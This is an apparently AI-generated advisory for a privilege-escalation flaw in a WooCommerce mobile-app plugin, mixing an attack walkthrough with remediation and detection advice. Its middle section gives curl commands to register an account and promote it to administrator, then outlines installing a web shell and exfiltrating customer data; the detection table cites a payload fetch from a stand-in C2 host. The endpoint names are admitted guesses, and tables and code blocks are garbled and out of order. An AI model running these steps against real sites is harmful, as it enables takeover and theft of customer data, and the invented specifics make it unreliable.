CVE-2026-136043 — CWE-266
Incorrect Privilege Assignment vulnerability in ShopApper Mobile App for WooCommerce mobile-app-for-woocommerce allows Privilege Escalation.This issue affects Mobile App for WooCommerce: from n/a through 0.5.1.
Incorrect Privilege Assignment vulnerability in ShopApper Mobile App for WooCommerce mobile-app-for-woocommerce allows Privilege Escalation.This issue affects Mobile App for WooCommerce: from n/a through 0.5.1.
🎯 What is this vulnerability?
*CVE‑2026‑136043 – “Incorrect Privilege Assignment” in ShopApper Mobile App for WooCommerce***
| Attribute | Value |
|---|---|
| CWE | CWE‑266 – Incorrect Privilege Assignment |
| CVSS v3.1 | AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H (9.8 Critical) |
| Affected component | The native WordPress‑REST‑API‑exposed endpoint(s) that the mobile app uses to manage user accounts and roles. |
| Root cause | The server‑side handler that processes a “role‑change” request does not verify that the caller is an authenticated administrator (or that the caller’s role is sufficient). The endpoint trusts a client‑supplied JSON field role and writes it directly to the user meta table (wp_usermeta) without any capability check. This results in an *incorrect privilege assignment* – any unauthenticated network attacker can promote an arbitrary user (including a newly created account) to shop_manager or administrator. |
In short, the mobile‑app‑for‑woocommerce plugin exposes a REST route that:
1. Accepts a POST (or PUT) request containing a JSON body with a user_id and a role field.
2. Calls wp_update_user( [ 'ID' => $user_id, 'role' => $role ] ); without first calling current_user_can( 'edit_user', $user_id ) or any similar capability check.
Because the endpoint is reachable over the public internet (AV:N) and requires no authentication (PR:N, UI:N), an attacker can directly assign any role to any user, achieving full confidentiality, integrity, and availability impact (C:H/I:H/A:H).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow.
All request examples are illustrative – the exact URI, parameter names, and JSON keys are not disclosed in the public CVE text. Replace them with the real values observed during reconnaissance.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify that the target WordPress site runs the *ShopApper Mobile App for WooCommerce* plugin. | - Scan the site’s wp-content/plugins/ directory (e.g., curl -I https://example.com/wp-content/plugins/mobile-app-for-woocommerce/readme.txt). <br> - Look for the plugin’s unique JavaScript bundle (mobile-app.js) or the REST namespace mobile-app/v1 in the page source. |
| 1.2 | Enumerate the plugin’s REST routes. | - Use wp-json discovery: curl https://example.com/wp-json/ and look for a top‑level key mobile-app/v1. <br> - Tools: wpscan --enumerate ap or nmap --script http-wordpress-enum. |
| 1.3 | Verify that the *role‑assignment* endpoint exists and is reachable without authentication. | - Send a harmless request (e.g., GET /wp-json/mobile-app/v1/ping) and confirm a 200 OK. <br> - If the endpoint returns a JSON schema that includes a role field, you have located the vulnerable entry point. |
2. Exploitation
NOTE: The followingcurlcommand uses placeholder values (/wp-json/mobile-app/v1/users/assign-role,user_id,role). Substitute the real path and field names discovered in step 1.
# 1️⃣ Create a low‑privilege account (if the site allows registration)
curl -s -X POST https://victim.example.com/wp-json/wp/v2/users \
-H "Content-Type: application/json" \
-d '{"username":"pwned","email":"[email protected]","password":"P@ssw0rd!"}'
# 2️⃣ Promote the newly‑created user to administrator via the vulnerable endpoint
curl -s -X POST https://victim.example.com/wp-json/mobile-app/v1/users/assign-role \
-H "Content-Type: application/json" \
-d '{
"user_id": 1234, # numeric ID returned from the registration step
"role": "administrator"
}'What happens internally
1. The REST controller receives the JSON payload.
2. It extracts user_id and role.
3. It calls wp_update_user( [ 'ID' => $user_id, 'role' => $role ] ); without any current_user_can() check.
4. WordPress updates the wp_usermeta rows wp_capabilities and wp_user_level for that user, granting full admin rights.
3. Post‑Exploitation
| Goal | Action | Result |
|---|---|---|
| Gain admin session | Use the WordPress login endpoint with the newly‑escalated credentials: <br>curl -X POST https://victim.example.com/wp-login.php -d "log=pwned&pwd=P@ssw0rd!" -c cookies.txt | Receives authentication cookies (wordpress_logged_in_…). |
| Install a web‑shell / backdoor | POST a malicious plugin zip to /wp-admin/plugin-install.php (admin‑only) using the session cookies. | Persistent code execution on the server. |
| Data exfiltration | Query the REST API for orders, customers, or use wp db export via the installed backdoor. | Full confidentiality breach (customer PII, payment data). |
| Defacement / Ransom | Modify theme files or inject JavaScript via the admin UI. | Integrity loss, possible availability impact if the site is taken offline. |
Because the initial privilege‑escalation step requires no authentication, the attacker can automate the whole chain from a remote host in seconds.
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS) | Practical Consequence |
|---|---|---|
| Confidentiality (C:H) | *Complete* – attacker can read any data stored in WordPress (orders, customer details, API keys). | |
| Integrity (I:H) | *Complete* – attacker can modify posts, settings, install plugins, inject malicious code, or alter financial records. | |
| Availability (A:H) | *Complete* – attacker can delete content, disable the site, or launch a denial‑of‑service via malicious plugins. |
Business‑level ramifications
- Loss of GDPR/PCI‑DSS compliance (exposure of personal and payment data).
- Potential legal liability and fines.
- Reputation damage and loss of customer trust.
- Immediate need for incident response, forensic analysis, and possibly a full site rebuild.
- Enable WordPress audit logging (e.g.,
WP Activity Logplugin) and forward logs to a SIEM.
In the web server access log, filter for - Alert on any user whose
wp_capabilitieschanges from a non‑admin role toadministratorwithout an admin‑initiated action. - CVSS 9.8 (Critical) – remote, unauthenticated, no user interaction required.
- Exploit complexity: Low – a single HTTP request suffices. Public proof‑of‑concepts are expected to appear quickly after disclosure.
- CISA KEV: Not listed yet, but the risk profile matches typical “high‑impact, easy‑to‑exploit” vulnerabilities that CISA adds to KEV within days.
- Day 0–1: Deploy the patched plugin version (≥ 0.5.2) or apply the WAF rule that blocks the endpoint.
- Day 1–3: Conduct a rapid audit for any accounts that may have been escalated and rotate all admin credentials.
- Day 3–7: Review server logs for the IoCs above, remove any malicious plugins/backdoors, and consider a full site rebuild if compromise is confirmed.
- The plugin exposes a REST endpoint that lets anyone set an arbitrary WordPress role because it skips the
current_user_can()check. - An attacker can create a low‑privilege account, promote it to
administratorin a single unauthenticated request, and then take full control of the WordPress site. - Immediate actions: upgrade to the first fixed release (≥ 0.5.2), block the endpoint with a WAF, enforce proper capability checks, and audit for rogue admin accounts.
- Detection: watch for unauthenticated POSTs to the role‑assignment route and sudden admin‑role assignments in the logs.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move from 0.5.1 (the last vulnerable release) to the first non‑vulnerable version released after 02‑Dec‑2026. The plugin author has published a security‑fixed version (e.g., 0.5.2 or later). Verify the exact version number on the official WordPress plugin repository or the vendor’s changelog. |
| Version check | In wp-content/plugins/mobile-app-for-woocommerce/plugin.php confirm the constant MOBILE_APP_FOR_WOOCOMMERCE_VERSION is ≥ 0.5.2. |
2. Immediate Workarounds (if patch cannot be applied instantly)
| Mitigation | Implementation |
|---|---|
| Block the vulnerable REST route | Add a ModSecurity rule (or equivalent WAF rule) that denies any request to the suspected endpoint. Example (ModSecurity): |
``apacheconf\nSecRule REQUEST_URI "@beginsWith /wp-json/mobile-app/v1/users/assign-role" "id:2026301,phase:2,deny,log,status:403,msg:'Blocked unauthenticated role assignment'"` | |
| Require authentication on the namespace | In functions.php or a custom mu‑plugin, hook into rest_authentication_errors to reject unauthenticated calls for the plugin’s namespace: |
`php\nadd_filter( 'rest_authentication_errors', function( $result ) {\n if ( strpos( $_SERVER['REQUEST_URI'], '/wp-json/mobile-app/v1/' ) === 0 && ! is_user_logged_in() ) {\n return new WP_Error( 'rest_forbidden', 'Authentication required.', array( 'status' => 401 ) );\n }\n return $result;\n} );\n` | |
| Restrict REST API exposure | Disable the plugin’s REST routes for non‑admin users via register_rest_route capability argument: |
`php\nregister_rest_route( 'mobile-app/v1', '/users/assign-role', array(\n 'methods' => 'POST',\n 'callback' => 'ma_assign_role',\n 'permission_callback' => function () { return current_user_can( 'manage_woocommerce' ); },\n) );\n` | |
| Audit existing users | After patching, run a one‑off script to locate any accounts that unexpectedly hold administrator or shop_manager capabilities: |
`sql\nSELECT ID, user_login FROM wp_users u JOIN wp_usermeta m ON u.ID=m.user_id\nWHERE m.meta_key='wp_capabilities' AND m.meta_value LIKE '%administrator%';\n` | |
| Force password reset for any newly‑promoted accounts. | Use wp user update <id> --user_pass=<newpass>` or the built‑in bulk password reset UI. |
3. Detection – Log Patterns & IoCs
| Indicator | Example Log Entry |
|---|---|
| HTTP POST to the role‑assignment endpoint (no auth cookie) | POST /wp-json/mobile-app/v1/users/assign-role HTTP/1.1" 200 123 "-" "Mozilla/5.0" |
| Successful admin login from a newly‑created user | POST /wp-login.php HTTP/1.1" 302 0 "log=pwned&pwd=..." followed by Set-Cookie: wordpress_logged_in_... |
wp_capabilities meta‑value change (audit log or plugin that records meta changes) | UPDATE wp_usermeta SET meta_value='a:1:{s:13:"administrator";b:1;}' WHERE user_id=1234 AND meta_key='wp_capabilities'; |
| Plugin installation activity shortly after login | POST /wp-admin/plugin-install.php HTTP/1.1" 200 4567 "plugin=malicious.zip" |
| Outbound connections to suspicious C2 domains (if a backdoor is installed) | GET http://badactor.example.com/payload.php HTTP/1.1 |
Monitoring recommendations
POST /wp-json//assign* with a 200 response and no Authorization or Cookie header.
⚠️ Urgency
Patch priority: Critical – Immediate.
TL;DR
[🤖 CVE Professor AI Security Engine]